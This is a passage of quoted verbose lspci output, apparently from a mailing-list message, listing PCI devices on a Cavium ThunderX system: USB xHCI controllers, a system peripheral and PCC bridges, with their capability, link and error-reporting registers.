> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable+ Count=5 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Kernel driver in use: xhci_hcd
>
> 0001:00:0d.0 USB controller: Cavium, Inc. THUNDERX xHCI USB Controller (prog-if 30 [XHCI])
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 869000000000 (32-bit, non-prefetchable) [size=2M]
> Region 4: [virtual] Memory at 869000200000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable+ Count=5 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Kernel driver in use: xhci_hcd
>
> 0001:00:10.0 System peripheral: Cavium, Inc. Device a06c
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 8e0000000000 (32-bit, non-prefetchable) [size=1G]
> Region 4: [virtual] Memory at 8e0f00000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=10 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0002:00:00.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=01, subordinate=01, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:01.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=02, subordinate=02, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:02.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=03, subordinate=03, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:03.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=04, subordinate=04, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:04.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=05, subordinate=05, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:05.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=06, subordinate=06, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:06.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=07, subordinate=07, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:07.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=08, subordinate=08, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:08.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=09, subordinate=09, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
